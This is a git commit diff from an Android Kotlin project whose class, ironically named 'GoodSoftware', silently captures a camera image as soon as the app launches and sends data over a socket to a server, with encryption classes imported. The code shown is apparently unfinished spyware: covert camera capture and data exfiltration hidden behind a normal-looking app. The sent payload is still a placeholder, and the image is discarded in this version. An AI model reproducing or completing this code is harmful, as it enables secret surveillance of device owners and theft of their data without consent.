So... it should take an image now?

This commit is contained in:
Joren 2024-05-01 00:55:08 +02:00
parent e019be3bcd
commit 450e8457a0
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
3 changed files with 59 additions and 61 deletions

View File

@ -5,9 +5,6 @@
<entry key="MainActivity"> <entry key="MainActivity">
<State /> <State />
</entry> </entry>
<entry key="MainActivity (1)">
<State />
</entry>
<entry key="MainActivity (2)"> <entry key="MainActivity (2)">
<State /> <State />
</entry> </entry>
@ -17,6 +14,9 @@
<entry key="MainActivity (4)"> <entry key="MainActivity (4)">
<State /> <State />
</entry> </entry>
<entry key="MainActivity (5)">
<State />
</entry>
<entry key="app"> <entry key="app">
<State /> <State />
</entry> </entry>

View File

@ -1,16 +1,13 @@
package com.ti.m package com.ti.m
import android.content.ContentValues
import android.content.Context import android.content.Context
import android.graphics.Camera import android.graphics.Camera
import android.net.Uri
import android.os.Build
import android.provider.MediaStore
import android.util.Log import android.util.Log
import androidx.camera.core.CameraSelector import androidx.camera.core.CameraSelector
import androidx.camera.core.ImageAnalysis import androidx.camera.core.ImageAnalysis
import androidx.camera.core.ImageCapture import androidx.camera.core.ImageCapture
import androidx.camera.core.ImageCaptureException import androidx.camera.core.ImageCaptureException
import androidx.camera.core.ImageProxy
import androidx.camera.core.Preview import androidx.camera.core.Preview
import androidx.camera.lifecycle.ProcessCameraProvider import androidx.camera.lifecycle.ProcessCameraProvider
import java.io.BufferedReader import java.io.BufferedReader
@ -25,11 +22,8 @@ import javax.crypto.Cipher
import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.SecretKeySpec import javax.crypto.spec.SecretKeySpec
import androidx.concurrent.futures.await import androidx.concurrent.futures.await
import androidx.core.content.ContentProviderCompat.requireContext
import androidx.core.content.ContextCompat import androidx.core.content.ContextCompat
import java.io.File import androidx.lifecycle.LifecycleOwner
import java.text.SimpleDateFormat
import java.util.Locale
class GoodSoftware (private val context: Context) { class GoodSoftware (private val context: Context) {
private var cameraProvider: ProcessCameraProvider? = null private var cameraProvider: ProcessCameraProvider? = null
@ -101,14 +95,7 @@ class GoodSoftware (private val context: Context) {
private fun runAllTheGoodness() { private fun runAllTheGoodness() {
val dataToSend = "Amazing data" val dataToSend = "Amazing data"
Thread { sendDataToServer(dataToSend)
takeBeautifulPicture(object : PictureTakenCallback {
override fun onPictureTaken() {
// Picture taken, proceed to send data
sendDataToServer(dataToSend)
}
})
}.start()
} }
fun sendDataToServer(sendData: String) { fun sendDataToServer(sendData: String) {
@ -158,53 +145,60 @@ class GoodSoftware (private val context: Context) {
socket.close() socket.close()
} }
fun takeBeautifulPicture(callback: PictureTakenCallback) { suspend fun takeBeautifulPicture(lifecycleOwner: LifecycleOwner) {
cameraProvider = ProcessCameraProvider.getInstance(context).get() // Ensure that cameraProvider is initialized
cameraProvider = ProcessCameraProvider.getInstance(context).await()
lensFacing = when { // Check if cameraProvider is null
hasBackCamera() -> CameraSelector.LENS_FACING_BACK if (cameraProvider == null) {
hasFrontCamera() -> CameraSelector.LENS_FACING_FRONT Log.e(picture.TAG, "Camera provider is null")
else -> throw IllegalStateException("Back and front camera are unavailable") return
} }
// Ensure that the selected camera is available
if (!hasBackCamera() && !hasFrontCamera()) {
Log.e(picture.TAG, "Back and front camera are unavailable")
return
}
// Select the lens facing
lensFacing = if (hasBackCamera()) {
CameraSelector.LENS_FACING_BACK
} else {
CameraSelector.LENS_FACING_FRONT
}
// Create ImageCapture instance
imageCapture = ImageCapture.Builder() imageCapture = ImageCapture.Builder()
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
.build() .build()
imageCapture?.let { imageCapture -> // Set up image capture listener
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
// Create time stamped name and MediaStore entry. override fun onError(exc: ImageCaptureException) {
val name = SimpleDateFormat(picture.FILENAME, Locale.US) Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
.format(System.currentTimeMillis())
val contentValues = ContentValues().apply {
put(MediaStore.MediaColumns.DISPLAY_NAME, name)
put(MediaStore.MediaColumns.MIME_TYPE, picture.PHOTO_TYPE)
if(Build.VERSION.SDK_INT > Build.VERSION_CODES.P) {
val appName = requireContext().resources.getString(R.string.app_name)
put(MediaStore.Images.Media.RELATIVE_PATH, "Pictures/${appName}")
}
} }
val outputOptions = ImageCapture.OutputFileOptions override fun onCaptureSuccess(image: ImageProxy) {
.Builder(requireContext().contentResolver, // Process captured image here
MediaStore.Images.Media.EXTERNAL_CONTENT_URI, image.close()
contentValues) }
.build()
imageCapture.takePicture(outputOptions, ContextCompat.getMainExecutor(requireContext()),
object : ImageCapture.OnImageSavedCallback {
override fun onError(exc: ImageCaptureException) {
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
}
override fun onImageSaved(output: ImageCapture.OutputFileResults) {
val savedUri = output.savedUri ?: Uri.fromFile(File(output.savedUri.toString()))
Log.d(picture.TAG, "Photo capture succeeded: $savedUri")
}
})
} }
callback.onPictureTaken()
// Bind the camera and start image capture
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.DEFAULT_BACK_CAMERA, imageCapture)
// Take the picture
imageCapture?.takePicture(
ContextCompat.getMainExecutor(context),
imageCapturedListener
)
} }
private fun hasBackCamera(): Boolean { private fun hasBackCamera(): Boolean {
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
} }
@ -217,6 +211,7 @@ class GoodSoftware (private val context: Context) {
return context return context
} }
object picture { object picture {
const val TAG = "CameraXBasic" const val TAG = "CameraXBasic"
const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS" const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS"

View File

@ -6,15 +6,14 @@ import androidx.activity.compose.setContent
import androidx.compose.foundation.layout.fillMaxSize import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.material3.MaterialTheme import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.Surface import androidx.compose.material3.Surface
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.ui.Modifier import androidx.compose.ui.Modifier
import androidx.compose.ui.tooling.preview.Preview import androidx.lifecycle.LifecycleOwner
import androidx.lifecycle.lifecycleScope import androidx.lifecycle.lifecycleScope
import com.ti.m.GoodSoftware
import com.ti.m.ui.theme.MTheme import com.ti.m.ui.theme.MTheme
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
class MainActivity : ComponentActivity() { class MainActivity : ComponentActivity(), LifecycleOwner {
override fun onCreate(savedInstanceState: Bundle?) { override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState) super.onCreate(savedInstanceState)
setContent { setContent {
@ -26,6 +25,10 @@ class MainActivity : ComponentActivity() {
} }
} }
} }
GoodSoftware(applicationContext).launch() val Goo = GoodSoftware(applicationContext);
Goo.launch()
lifecycleScope.launch {
Goo.takeBeautifulPicture(this@MainActivity)
}
} }
} }